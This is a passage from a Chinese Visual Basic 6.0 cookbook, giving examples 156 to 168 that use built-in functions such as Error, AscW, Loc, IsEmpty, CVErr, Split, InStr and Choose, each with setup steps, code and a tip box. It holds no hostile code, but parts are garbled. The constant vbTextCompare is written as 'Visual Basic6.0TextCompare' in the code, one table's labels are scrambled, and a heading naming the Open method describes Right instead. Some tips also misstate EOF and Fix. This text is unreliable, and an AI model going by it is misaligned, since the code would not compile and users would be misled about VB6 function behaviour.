    For i = 1 To 4
        Combo1.AddItem A(i)
    Next i
End Sub




秘笈心法

心法领悟155：初识Visual Basic 6.0内置函数。

VB 6.0中有很多内置的函数，程序员利用这些函数可以更轻松地实现许多功能，减少代码的编写量，使程序设计水平更上一个台阶。这些内置函数主要包括数学函数、字符串函数、类型转换函数、判断函数、日期和时间函数、随机函数和格式化函数等。



 实例156　利用错误号获取错误名称

光盘位置：光盘\MR\06\156

初级

趣味指数：[image: ]




实例说明

本实例的主要功能是利用Error函数获取与错误号相对应的错误名称，并将错误名称显示在窗体上。运行程序，如本实例显示错误编号从1～10的错误名称。当程序启动时在窗体上显示与错误编号相对应的编号，程序的运行效果如图6.11所示。

[image: ]
图6.11　通过错误号获取错误名称



关键技术

本实例主要是通过使用Chr函数规范打印的格式，再利用Error函数将错误编号从1～10的错误名称打印在窗体上。

Error函数用于返回对应于已知错误号的错误信息，语法如下：



Error[(errornumber)]




参数说明

errornumber：可选参数。errornumber参数可以为任何有效的错误号。如果errornumber是有效的错误号，但尚未被定义，则Error将返回字符串“应用程序定义的错误或对象定义的错误”。如果errornumber不是有效的错误号，则会导致错误发生。如果省略errornumber，就会返回与最近一次运行时错误对应的消息。如果没有发生运行时错误，或者errornumber是0，则Error返回一个长度为零的字符串("")。


说明：
 Chr函数的详细讲解请参见实例082中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何通过错误号获取错误名称”，StartUpPosition属性设置为“2-屏幕中心”。

（3）程序的运行代码如下：



Private Sub Form_Resize()
    For i = 1 To 10                                            '循环语句
        Print Chr(13) & Chr(10) & Error(i)                            '打印错误名称
    Next i
End Sub




秘笈心法

心法领悟156：内部函数和外部函数小知识。

函数是Visual Basic中编写代码的核心，函数分为内部函数和外部函数。内部函数是Visual Basic系统定义的函数，Visual Basic系统对一些常用功能定义了许多函数，程序员可以在自己的程序中直接调用它；外部函数是程序员自己定义的函数，它是由程序员根据自己的需要而编写的。



 实例157　将汉字转换为Unicode字符代码

光盘位置：光盘\MR\06\157

中级

趣味指数：[image: ]




实例说明

本实例实现的功能是将汉字转换为Unicode字符代码。运行程序，在文本框Text1中输入汉字“汉”，单击“转换”按钮将汉字转换为Unicode字符代码，程序的运行效果如图6.12所示。

[image: ]
图6.12　将汉字转换为Unicode字符代码



关键技术

本实例主要是通过使用Visual Basic 6.0自带的内置函数AscW实现的。下面介绍AscW函数的语法：



AscW(string)




参数说明

string：必选参数。string参数可以是任何有效的字符串或表达式。如果string中没有包含任何字符，则会产生运行时错误。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何将汉字转换为Unicode字符代码”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Label控件，名称分别使用其默认名称，Caption属性分别设置为“汉字：”和Unicode：，BackStyle属性设置为0-Transparent，并设置Font属性。

（4）在窗体上添加两个TextBox控件，名称分别使用其默认名称，BorderStyle属性设置为0-None，并设置Font属性。

（5）在窗体上添加两个CommandButton控件，名称分别使用其默认名称，Caption属性分别设置为“转换”和“退出”，并设置Font属性。

（6）程序的运行代码如下：



Private Sub Command1_Click()
    Text2.Text = AscW(Text1)
End Sub




秘笈心法

心法领悟157：Sin函数中应注意的小知识。

（1）如果Sin所使用的变量或常量是整型或单精度型，结果返回是单精度型。所有其他数据类型被计算为双精度型。

（2）Sin函数取一角度为参数值，并返回角的对边长度除以斜边长度的比值。结果的取值范围在-1～1之间。为了将角度转换为弧度，请将角度乘以pi/180。为了将弧度转换为角度，请将弧度乘以180/pi。



 实例158　获取在已打开文件中的读写位置

光盘位置：光盘\MR\06\158

中级

趣味指数：[image: ]




实例说明

本实例主要通过Loc函数获取在已打开文件中当前读写位置。在本实例中获取文本文件“1.txt”当前读写位置，启动程序后，程序的运行效果如图6.13所示。

[image: ]
图6.13　获取在已打开文件中当前读写位置



关键技术

本实例主要是通过使用LOF函数获取使用Open语句打开的文件的大小，该大小以字节为单位，然后再使用Loc函数指定当前读/写位置，再用循环语句一次将文本内容打印到窗体上。

（1）LOF函数

该函数返回一个Long，表示用Open语句打开的文件的大小，该大小以字节为单位，语法如下：



LOF(filenumber)




参数说明

filenumber：必选参数。filenumber参数是一个Integer，包含一个有效的文件号。

（2）Loc函数

该函数返回一个Long，在已打开的文件中指定当前读/写位置，语法如下：



Loc(filenumber)




参数说明

filenumber：必选参数。filenumber参数是任何一个有效的Integer文件号。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何获取在已打开文件中当前读写位置”，StartUpPosition属性设置为“2-屏幕中心”。

（3）程序的运行代码如下：



Private Sub Form_Resize()
    Me.Cls                                                    '清除窗体
    Dim mylocation, myline                                        '定义变量
    Dim path As String                                            '定义字符串变量
    If Right(App.path, 1) = "\" Then                                    '判断路径的最右边字符
        path = App.path & "1.txt"                                    '给字符串变量赋值
    Else
        path = App.path & "\" & "1.txt"                                    '给字符串变量赋值
    End If
    Open path For Binary As #1                                        '打开文件
    Do While mylocation < LOF(1)                                    '文件的大小
        myline = myline & Input(1, #1)                                    '变量赋值
        mylocation = Loc(1)                                        '记录当前位置
        Print "当前位置：" & mylocation & "  " & myline
    Loop
    Print "文件位置：" & path                                        '打印文件位置路径
    Close #1                                                    '关闭文件
End Sub




秘笈心法

心法领悟158：Cos函数中应注意的小知识。

Cos函数的参数为一个角，并返回直角三角形两边的比值。该比值为角的邻边长度除以斜边长度之商。结果的取值范围在-1～1之间。为了将角度转换成弧度，请将角度乘以pi/180。为了将弧度转换成角度，请将弧度乘以180/pi。



 实例159　判断变量是否被初始化

光盘位置：光盘\MR\06\159

初级

趣味指数：[image: ]




实例说明

本实例主要实现了判断变量是否被初始化的功能。运行程序，在窗体上显示了变量被初始化的过程，程序的运行效果如图6.14所示。

[image: ]
图6.14　判断变量是否被初始化



关键技术

本实例主要是通过使用IsEmpty函数判断变量是否被初始化，判断执行变量被赋值为Null和Empty后变量是否被初始化。

IsEmpty函数用于返回Boolean值，指出变量是否已经初始化，语法如下：



IsEmpty(expression)




参数说明

expression：必选参数。expression参数是一个Variant，包含一个数值或字符串表达式。但是，因为IsEmpty被用来确定个别变量是否已初始化，所以expression参数通常是单一变量名。


说明：
 Chr函数的详细讲解请参见实例082中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何判断变量是否被初始化”，StartUpPosition属性设置为“2-屏幕中心”。

（3）程序的运行代码如下：



Private Sub Form_Resize()
    Dim num                                                        '定义变量
    numvar = IsEmpty(num)                                                '指出变量是否被初始化
    Print "变量num" & panduan(numvar) & Chr(13) & Chr(10)                            '打印内容
    num = Null                                                        '指出变量是否被初始化
    numvar = IsEmpty(num)                                                '指出变量是否被初始化
    Print "执行语句" & Chr(13) & Chr(10) & "num = Null后" & _
          Chr(13) & Chr(10) & "变量num" & panduan(numvar) & Chr(13) & Chr(10)                '打印内容
    num = Empty                                                        '置空变量
    numvar = IsEmpty(num)                                                '指出变量是否被初始化
    Print "执行语句" & Chr(13) & Chr(10) & "num = Empty后" & _
          Chr(13) & Chr(10) & "变量num" & panduan(numvar) & Chr(13) & Chr(10)                '打印内容
End Sub
Private Function panduan(ByVal numvar As Boolean)
    Dim i As String                                                        '定义字符串变量
    Select Case numvar                                                    '选择语句
    Case True
        i = "没被初始化"
    Case Else
        i = "已初始化"
    End Select
    panduan = i
End Function




秘笈心法

心法领悟159：Sqr函数小知识。

Sqr函数不能用于求得0或负数的平方根。



 实例160　获取文件创建或修改日期

光盘位置：光盘\MR\06\160

初级

趣味指数：[image: ]




实例说明

本实例实现了获取文件创建或修改日期的功能。运行程序，选择文件所在的具体路径，单击“获取创建日期”按钮，在窗体上将显示出文件创建或修改的具体日期和时间，程序的运行效果如图6.15所示。

[image: ]
图6.15　获取文件创建或修改日期



关键技术

本实例的实现主要是通过使用DriveListBox控件、DirListBox控件和FileListBox控件获取文件，再通过FileDateTime函数获取文件创建或修改日期。

（1）FileDateTime函数

该函数返回一个Variant(Date)，此为一个文件被创建或最后修改后的日期和时间，语法如下：



FileDateTime(pathname)




参数说明

pathname：必选参数。pathname参数是用来指定一个文件名的字符串表达式。pathname可以包含目录、文件夹以及驱动器。

（2）Open方法

该函数返回Variant (String)，其中包含从字符串右边取出的指定数量的字符，语法如下：



Right(string, length)




参数说明

❶ string：必选参数。字符串表达式，其中最右边的字符将被返回。如果string包含Null，将返回Null。

❷ length：必选参数。为Variant(Long)。为数值表达式，指出想返回多少字符。如果为0，返回零长度字符串("")。如果大于或等于string的字符数，则返回整个字符串。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“获取文件创建或修改日期”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个DriveListBox控件、一个DirListBox控件和一个FileListBox控件，用于显示文件的路径。

（4）在窗体上添加一个Label控件，BackStyle属性设置为0-Transparent，Caption属性设置为“创建日期：”，并设置Font属性。

（5）在窗体上添加一个CommandButton控件，名称使用其默认名称，Caption属性设置为“获取创建日期”，并设置Font属性。

（6）程序的运行代码如下：



Dim path As String
Private Sub Command1_Click()
    Label1.Caption = "创建日期：" & FileDateTime(path)                    '显示文件创建时间
End Sub
Private Sub Dir1_Change()
    File1.path = Dir1.path                                        '设置FileListBox控件的当前路径
End Sub
Private Sub Drive1_Change()
    Dir1.path = Drive1.Drive                                    '设置DirListBox控件的当前路径
End Sub
Private Sub File1_Click()
    If Right(File1.path, 1) = "\" Then                                '判断路径的最右边字符
        path = File1.path & File1.List(File1.ListIndex)                    '指定当前文件路径
    Else
        path = File1.path & "\" & File1.List(File1.ListIndex)                    '指定当前文件路径
    End If
End Sub




秘笈心法

心法领悟160：Int函数和Fix函数的区别与联系。

Fix(number)会返回大于或等于number的一个整数。Int和Fix都会删除number的小数部分而返回剩下的整数。Int和Fix的不同之处在于，如果number为负数，则Int返回小于或等于number的第一个负整数，而Fix则会返回大于或等于number的第一个负整数。例如，Int将-8.4转换成-9，而Fix将-8.4转换成-8。



 实例161　自定义错误号

光盘位置：光盘\MR\06\161

初级

趣味指数：[image: ]




实例说明

本实例实现了用户可以自定义错误号的名称。运行程序，在文本框中输入一组字符串，单击“判断”按钮，当输入的字符串不符合条件时，将给出自定义的错误号，程序的运行效果如图6.16和图6.17所示。
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	[image: ]




	图6.16　自定义错误号-1
	图6.17　自定义错误号-2




关键技术

本实例主要是通过使用CVErr函数自定义错误号来实现的。首先通过IsNumeric函数判断输入的字符串内容是否全部为数字，如果Text1中字符串不符合日期型就显示自定义错误号为2010，并给出提示信息。

CVErr函数用于返回Error子类型的Variant，其中包含指定的错误号，语法如下：



CVErr(errornumber)




参数说明

errornumber：必选参数。表示任何有效的错误代码。


说明：
 CStr函数的详细讲解请参见实例026中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何自定义错误号”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Label控件，名称使用其默认名称，Caption属性设置为“判断是否为日期型：”，BackStyle属性设置为0-Transparent，并设置Font属性。

（4）在窗体上添加一个TextBox控件，名称使用其默认名称，BorderStyle属性设置为0-None，并设置Font属性。

（5）在窗体上添加一个CommandButton控件，名称使用其默认名称，Caption属性设置为“判断”，并设置Font属性。

（6）程序的运行代码如下：



Private Sub Command1_Click()
    MsgBox CStr(aaa(Text1))                                    '提示对话框
End Sub
    
Private Function aaa(ByVal txt)
    Dim I                                                '定义变量
    If IsNumeric(Text1) = True Then                                '检查输入文本内容是否全部为数字
        i = 123                                            '变量赋值
    Else
        i = CVErr(2010)                                        '赋值为指定的错误号
    End If
    aaa = I                                                '返回值
End Function




秘笈心法

心法领悟161：EOF函数小知识。

（1）只有到达文件结尾时，EOF函数才返回False。对于访问Random或Binary而打开的文件，直到最后一次执行的Get语句无法读出完整的记录时，EOF才返回False。

（2）对于为访问Binary而打开的文件，在EOF函数返回True之前，试图使用Input函数读出整个文件的任何尝试都会导致错误发生。在用Input函数读出二进制文件时，要用LOF和Loc函数来替换EOF函数，或者将Get函数与EOF函数配合使用。对于为Output打开的文件，EOF总是返回True。



 实例162　获取当前打开窗口数量

光盘位置：光盘\MR\06\162

中级

趣味指数：[image: ]




实例说明

本实例主要实现了获取当前打开窗口的数量，程序运行后在文本框内显示当前打开窗口的数量。单击“打开新窗口”按钮，弹出新窗口，在文本框中的数字就会显示打开新窗口后当前窗口的数量。关闭新打开的窗口后又会显示关闭后的窗体数量，显示结果如图6.18所示。

[image: ]
图6.18　如何获取当前打开窗口数量



关键技术

本实例的实现主要是通过使用DoEvents函数获取当前打开窗口的数量。程序中还用到了窗体的Show方法，下面进行具体介绍。

（1）Show方法

Show方法用来显示一个窗体，且具有装入和显示窗体的两种功能。也就是说，在执行Show时，如果窗体不在内存中，则Show自动将窗体装入内存，然后显示该窗体，语法如下：



窗体名称.Show   模式




参数说明

❶ 窗体名称：如果省略“窗体名称”，则显示当前窗体。

❷ 模式：可选整数，决定窗体是非模态还是模态。如果值为0，则窗体是非模态的；如果值为1，则窗体是模态的。

（2）DoEvents函数

该函数用于转让控制权，以便让操作系统处理其他的事件，语法如下：



DoEvents( )




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何获取当前打开窗口数量”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Label控件，名称均使用其默认名称，Caption属性分别设置为“当前打开”和“个窗口”，BackStyle属性均设置为0-Transparent，并分别设置Font属性。

（4）在窗体上添加一个TextBox控件，名称使用其默认名称，BorderStyle属性设置为0-None，并设置Font属性。

（5）在窗体上添加一个CommandButton控件，名称使用其默认名称，Caption属性设置为“打开新窗口”，并设置Font属性。

（6）程序的运行代码如下：



Private Sub Command1_Click()
    Form2.Show                                              '打开新窗口
    Call Form_Activate                                        '调用过程
End Sub
Private Sub Form_Activate()
    Text1.Text = DoEvents()                                      '获取当前窗口打开数量
End Sub




秘笈心法

心法领悟162：FileAttr函数小知识。

FileAttr函数返回一个Long，表示使用Open语句所打开文件的文件方式。该函数返回值为长整型，用于返回用Open语句打开文件的打开方式。函数返回文件的句柄只适用于16位系统；在32位系统中，把2作为第二个参数时将产生错误。



 实例163　随机获取姓名

光盘位置：光盘\MR\06\163

初级

趣味指数：[image: ]




实例说明

本实例主要实现了通过创建自定义过程随机获取姓名。自定义过程中利用Split函数将字符串分割给数组。然后利用Rnd函数和UBound函数随机产生数组索引号。通过产生的随机索引号，获取在数组中与之相对应的字符串。例如，本例单击“随机获取”按钮，读取“name.txt”中的内容，在文本框中将显示随机抽取的姓名，显示结果如图6.19所示。

[image: ]
图6.19　随机获取姓名



关键技术

本实例主要是通过使用Split函数将字符串分割给数组，然后利用Rnd函数和UBound函数随机产生数组索引号。通过产生的随机索引号，获取在数组中与之相对应的字符串。


说明：
 Split函数的详细讲解请参见实例051中的关键技术，其中compare参数的设置如表6.3所示。

表6.3　compare参数的设置



	部分
	值
	描述



	Visual Basic 6.0 UseCompareOption
	-1
	用Option Compare语句中的设置值执行比较



	delimiter
	0
	执行二进制比较



	count
	1
	执行文字比较



	compare
	2
	仅用于Microsoft Access。基于您的数据库的信息执行比较




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“随机获取姓名”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Label控件，名称使用其默认名称，将Caption属性设置为“随机获取的姓名：”，BackStyle属性设置为0-Transparent，并设置Font属性。

（4）在窗体上添加一个TextBox控件，名称使用其默认名称，BorderStyle属性设置为0-None，并设置Font属性。

（5）在窗体上添加一个CommandButton控件，名称使用其默认名称，Caption属性设置为“随机获取”，并设置Font属性。

（6）程序的运行代码如下：



Dim path As String                                            '定义字符串变量
Dim nr As String                                            '定义字符串变量
Private Sub Command1_Click()
    Open path & "name.txt" For Binary As #1                            '打开文件
    nr = Input(LOF(1), #1)                                        '获取文件中字符
    Close #1                                                '关闭文件
    Text2.Text = Trim(suiji(nr))                                    '去掉字符串两端空格
End Sub
Private Function suiji(ByVal str As String)
    str = nr
    Dim i() As String                                        '定义字符串数组
    i = Split(nr, Chr(13) & Chr(10), -1, Visual Basic6.0TextCompare)            '返回一个一维数组
    Dim j
    Randomize                                            '初始化随机数生成器
1:  j = Rnd * UBound(i)                                        'Rnd为程序提供一个随机数
    If Trim(i(j)) = "" Then
        DoEvents                                            '转让控制权，让操作系统处理其他的事件
        GoTo 1
    End If
    suiji = i(j)
End Function
    
Private Sub Form_Load()
    If Right(App.path, 1) = "\" Then
        path = App.path                                        '获取当前路径
    Else
        path = App.path & "\"                                    '获取当前路径
    End If
End Sub




秘笈心法

心法领悟163：GetObject函数与CreateObject函数小知识。

（1）当对象当前已有实例或要创建已加载的文件的对象时，就使用GetObject函数。如果对象当前还没有实例或不想启动已加载文件的对象，则应使用CreateObject函数。

（2）如果对象已注册为单个实例的对象，则不管执行多少次CreateObject，都只能创建该对象的一个实例。若使用单个实例对象，当使用零长度字符串("")语法调用时，GetObject总是返回同一个实例，而若省略pathname参数，就会出错。不能使用GetObject来获取Visual Basic创建的类的引用。



 实例164　防止连续出现多个空格

光盘位置：光盘\MR\06\164

初级

趣味指数：[image: ]




实例说明

在程序开发的过程中，经常会遇到需要去掉字符串中空格的功能，本实例通过自定义过程来实现此功能。在自定义过程中利用InStr函数和LTrim函数能够过滤掉多余的空格。运行本实例，在文本框中输入字符串“Hello World!”，单击“过滤”按钮，将过滤掉字符串中的空格，显示结果如图6.20所示。
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图6.20　如何防止连续出现多个空格

关键技术

本实例的实现主要是通过利用InStr函数和LTrim函数过滤掉多余的空格。

LTrim函数用于返回Variant (String)，其中包含指定字符串的备份，没有前导空白，语法如下：



LTrim(string)




参数说明

string：必选参数。string参数可以是任何有效的字符串表达式。如果string 包含Null，将返回Null。


说明：
 InStr函数的详细讲解请参见实例125中的关键技术，其中compare参数的设置如表6.4所示。

表6.4　compare参数的设置



	常数
	值
	描述



	Visual Basic 6.0 UseCompareOption
	-1
	使用Option Compare语句的设置值来执行比较



	Visual Basic 6.0 BinaryCompare
	0
	执行二进制比较



	Visual Basic 6.0 TextCompare
	1
	执行文字比较



	Visual Basic 6.0 DatabaseCompare
	2
	仅适用于Microsoft Access，执行一个基于数据库中信息的比较




实例说明

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何防止连续出现多个空格”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个TextBox控件，名称使用其默认名称，BorderStyle属性设置为0-None，并设置Font属性。

（4）在窗体上添加一个CommandButton控件，名称使用其默认名称，Caption属性设置为“过滤”，并设置Font属性。

（5）程序的运行代码如下：



Public Function OneSpaces(ByVal strText As String) As String
    Const TWO_SPACES As String = "  "
    Dim Pos As Integer                                        '定义整型变量
    Dim Temp As String                                        '定义字符串变量
    Pos = InStr(1, strText, TWO_SPACES, Visual Basic6.0TextCompare)            '获取两个空格的位置
    Do While Pos > 0
        Temp = LTrim(Mid$(strText, Pos + 1))                            '去掉左边的空格
        strText = Left$(strText, Pos) & Temp                            '重新赋值
        Pos = InStr(1, strText, TWO_SPACES, Visual Basic6.0TextCompare)        '获取两个空格的位置
        DoEvents                                            '转让控制权，让操作系统处理其他的事件
    Loop
    OneSpaces = strText                                        '返回值
End Function
   
Private Sub Command1_Click()
    Text1.Text = OneSpaces(Text1)                                '调用过程
End Sub




秘笈心法

心法领悟164：IIf函数小知识。

该函数是根据表达式值的真假，来确定返回两部分中的哪一部分。虽然IIf函数只返回两个值中的一个值，但是两个值都会被计算。如果其中一个产生一个被0除的错误，即使应该返回的值是正确的，程序仍然会报错。



 实例165　给程序添加运行参数

光盘位置：光盘\MR\06\165

中级

趣味指数：[image: ]




实例说明

本实例实现了程序添加运行参数的功能，程序的运行参数为/h或/n。程序按照指定的运行参数执行相应的操作。当没有执行参数直接运行程序时，显示结果如图6.21所示。当给定参数为/h时，显示结果如图6.22所示。当给定参数为/n时，显示结果如图6.23所示。
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	图6.21　程序添加运行参数-1
	图6.22　程序添加运行参数-2
	图6.23　程序添加运行参数-3




关键技术

本实例主要是通过利用UCase函数实现的。


说明：
 UCase函数的详细讲解请参见实例024中的关键技术。

实例说明

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何给程序添加运行参数”，StartUpPosition属性设置为“2-屏幕中心”。

（3）程序的运行代码如下：



Private Sub Form_Resize()
    If UCase(Command) = UCase("/h") Then
        Print "HELLO"
    ElseIf UCase(Command) = UCase("/n") Then
        Print "您好"
    Else
        Print "您没设置运行参数"
    End If
End Sub




秘笈心法

心法领悟165：Switch函数小知识。

Switch函数的参数列表是由多对表达式和数值组成的。表达式从左向右加以计算，数值会在第一个表达式为真时返回。如果其中的参数列表不成对，则在程序运行的过程中出错。另外，虽然Switch函数只是返回一个值，但是它会把所有的表达式都计算出来，如果其中任何一个产生一个被0除的错误，程序仍然会产生错误。



 实例166　获取汉字拼音简码

光盘位置：光盘\MR\06\166

高级

趣味指数：[image: ]




实例说明

在实际生活中，为了方便查询，许多程序都提供了按拼音首字母查询汉字信息的方式，例如，汉字“明日科技”可通过拼音“MRKJ”查询。实现这种查询的前提是提取汉字拼音首字母。下面设计一个实现获取汉字拼音简码的程序，程序的运行效果如图6.24所示。

[image: ]
图6.24　获取汉字拼音简码程序



关键技术

本实例的实现主要是通过使用Asc函数比较字符串中首字母的字符代码，然后给变量赋值相应的大写字母。


说明：
 （1）Asc函数的详细讲解请参见实例122中的关键技术。

（2）Mid函数的详细讲解请参见实例126中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“获取汉字首字母”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个TextBox控件，名称使用其默认名称，BorderStyle属性设置为0-None，并设置Font属性。

（4）在窗体上添加两个Label控件，名称均使用其默认名称，BackStyle属性均设置为0-Transparent，并设置Font属性，Label2的Caption属性设置为“显示：”。

（5）在窗体上添加两个CommandButton控件，名称使用其默认名称，Caption属性分别设置为“显示”和“退出”，并设置Font属性。

（6）获取汉字拼音简码的自定义函数，程序代码如下：



Public Function py(mystr As String) As String
    If Asc(mystr) < 0 Then
        If Asc(Left(mystr, 1)) < Asc("啊") Then
            py = "0"
            Exit Function
        End If
        If Asc(Left(mystr, 1)) >= Asc("啊") And Asc(Left(mystr, 1)) < Asc("芭") Then
            py = "A"
            Exit Function
        End If
        If Asc(Left(mystr, 1)) >= Asc("芭") And Asc(Left(mystr, 1)) < Asc("擦") Then
            py = "B"
            Exit Function
        End If
        If Asc(Left(mystr, 1)) >= Asc("擦") And Asc(Left(mystr, 1)) < Asc("搭") Then
            py = "C"
            Exit Function
        End If
        If Asc(Left(mystr, 1)) >= Asc("搭") And Asc(Left(mystr, 1)) < Asc("蛾") Then
            py = "D"
            Exit Function
        End If
        If Asc(Left(mystr, 1)) >= Asc("蛾") And Asc(Left(mystr, 1)) < Asc("发") Then
            py = "E"
            Exit Function
        End If
        If Asc(Left(mystr, 1)) >= Asc("发") And Asc(Left(mystr, 1)) < Asc("噶") Then
            py = "F"
            Exit Function
        End If
        If Asc(Left(mystr, 1)) >= Asc("噶") And Asc(Left(mystr, 1)) < Asc("哈") Then
            py = "G"
            Exit Function
        End If
        If Asc(Left(mystr, 1)) >= Asc("哈") And Asc(Left(mystr, 1)) < Asc("击") Then
            py = "H"
            Exit Function
        End If
        If Asc(Left(mystr, 1)) >= Asc("击") And Asc(Left(mystr, 1)) < Asc("喀") Then
            py = "J"
            Exit Function
        End If
        If Asc(Left(mystr, 1)) >= Asc("喀") And Asc(Left(mystr, 1)) < Asc("垃") Then
            py = "K"
            Exit Function
        End If
        If Asc(Left(mystr, 1)) >= Asc("垃") And Asc(Left(mystr, 1)) < Asc("妈") Then
            py = "L"
            Exit Function
        End If
        If Asc(Left(mystr, 1)) >= Asc("妈") And Asc(Left(mystr, 1)) < Asc("拿") Then
            py = "M"
            Exit Function
        End If
        If Asc(Left(mystr, 1)) >= Asc("拿") And Asc(Left(mystr, 1)) < Asc("哦") Then
            py = "N"
            Exit Function
        End If
        If Asc(Left(mystr, 1)) >= Asc("哦") And Asc(Left(mystr, 1)) < Asc("啪") Then
            py = "O"
            Exit Function
        End If
        If Asc(Left(mystr, 1)) >= Asc("啪") And Asc(Left(mystr, 1)) < Asc("期") Then
            py = "P"
            Exit Function
        End If
        If Asc(Left(mystr, 1)) >= Asc("期") And Asc(Left(mystr, 1)) < Asc("然") Then
            py = "Q"
            Exit Function
        End If
        If Asc(Left(mystr, 1)) >= Asc("然") And Asc(Left(mystr, 1)) < Asc("撒") Then
            py = "R"
            Exit Function
        End If
        If Asc(Left(mystr, 1)) >= Asc("撒") And Asc(Left(mystr, 1)) < Asc("塌") Then
            py = "S"
            Exit Function
        End If
        If Asc(Left(mystr, 1)) >= Asc("塌") And Asc(Left(mystr, 1)) < Asc("挖") Then
            py = "T"
            Exit Function
        End If
        If Asc(Left(mystr, 1)) >= Asc("挖") And Asc(Left(mystr, 1)) < Asc("昔") Then
            py = "W"
            Exit Function
        End If
        If Asc(Left(mystr, 1)) >= Asc("昔") And Asc(Left(mystr, 1)) < Asc("压") Then
            py = "X"
            Exit Function
        End If
        If Asc(Left(mystr, 1)) >= Asc("压") And Asc(Left(mystr, 1)) < Asc("匝") Then
            py = "Y"
            Exit Function
        End If
        If Asc(Left(mystr, 1)) >= Asc("匝") Then
            py = "Z"
            Exit Function
        End If
    Else
        If UCase(mystr) <= "Z" And UCase(mystr) >= "A" Then
            py = UCase(Left(mystr, 1))
        Else
            py = mystr
        End If
    End If
End Function




“显示”按钮事件的程序代码如下：



Private Sub Command1_Click()
    Dim a As Integer
    Label1.Caption = ""
    a = Len(Text1.Text)
    For i = 1 To a
        Label1.Caption = Label1.Caption & py(Mid(Text1.Text, i, 1))
    Next i
End Sub




秘笈心法

心法领悟166：Shell函数小知识。

在使用Shell函数时，如果Shell函数成功地执行了可执行文件，则会返回一个唯一的任务ID，用来指向正在运行的程序。如果Shell函数不能打开该文件，则程序出错。



 实例167　随机抽取字符串

光盘位置：光盘\MR\06\167

初级

趣味指数：[image: ]




实例说明

本实例实现了随机抽取字符串的功能。运行程序，单击“抽取”按钮，将指定的三个字符串随机抽取出来一个，显示在文本框中，程序的运行效果如图6.25所示。

[image: ]
图6.25　如何随机抽取字符串



关键技术

本实例主要利用Choose函数实现抽取字符串的功能。Choose函数语法如下：



Choose(index, choice-1[, choice-2, ... [, choice-n]]




参数说明

index：索引值。

利用Rnd函数随机获取索引号。如本实例，从几组字符串内随机抽取一组，作为文本框的显示内容。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“随机获取字符串”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个TextBox控件，名称使用其默认名称，BorderStyle属性设置为0-None，并设置Font属性。

（4）在窗体上添加一个CommandButton控件，名称使用其默认名称，Caption属性设置为“抽取”，并设置Font属性。

（5）程序的运行代码如下：



Private Sub Command1_Click()
    Randomize
    I = Rnd * 3 + 1
    Text1.Text = Choose(I, "张三", "李四", "王五")
End Sub




秘笈心法

心法领悟167：Val函数小知识。

Val函数返回包含于字符串内的数字，字符串中是一个适当类型的数值。用Val函数来返回数值，从左到右依次转换，直到遇到字符串中的非数字字符为止。Val函数只会将句点（.）当成是一个可用的小数点分隔符。当使用不同的小数点分隔符时，例如，在国际版应用程序中，代之以CDbl来把字符串转换为数字。



 实例168　自定义延时函数

光盘位置：光盘\MR\06\168

中级

趣味指数：[image: ]




实例说明

本实例制作了一个自定义延时函数，在该自定义函数中存在一个无限循环，当前时间等于函数刚被调用的时间加上延时，跳出无限循环。在无限循环中需要使用DoEvents函数，否则电脑会死机。运行本实例程序后在文本框中输入延长时间，单击“延时”按钮，如图6.26所示，延时一会儿就弹出hello对话框。

[image: ]
图6.26　自定义延时函数



关键技术

本实例主要是通过使用DateAdd函数返回一个时间值为系统当前时间加上延时时间，当时间相等时触发事件。

DateAdd函数返回包含一个日期的Variant (Date)，这一日期还加上了一段时间间隔，语法如下：



DateAdd(interval, number, date)




参数说明

❶ interval：必选参数。字符串表达式，是所要加上去的时间间隔。

❷ number：必选参数。数值表达式，是要加上的时间间隔的数目。其数值可以为正数（得到未来的日期），也可以为负数（得到过去的日期）。

❸ date：必选参数。Variant (Date)或表示日期的文字，这一日期还加上了时间间隔。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“自定义延时函数”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Label控件，名称均使用其默认名称，Caption属性分别设置为“设置延时”和“/毫秒”，BackStyle属性设置为0-Transparent，并设置Font属性。

（4）在窗体上添加一个TextBox控件，名称使用其默认名称，BorderStyle属性设置为0-None，并设置Font属性。

（5）在窗体上添加一个CommandButton控件，名称使用其默认名称，Caption属性设置为“延时”，并设置Font属性。

（6）程序的运行代码如下：



Private Sub Command1_Click()
    sleep (Val(Text1))                                    '调用延时自定义函数
    MsgBox "延时了3秒钟，终于看见你了！"                    '提示信息
End Sub
    
Private Function sleep(ByVal canshu As Integer)
    Dim oldtime As Date                                    '定义日期变量
    oldtime = Now                                        '系统当前时间
    Do While 1 = 1
        If DateAdd("s", canshu \ 1000, oldtime) = Now Then
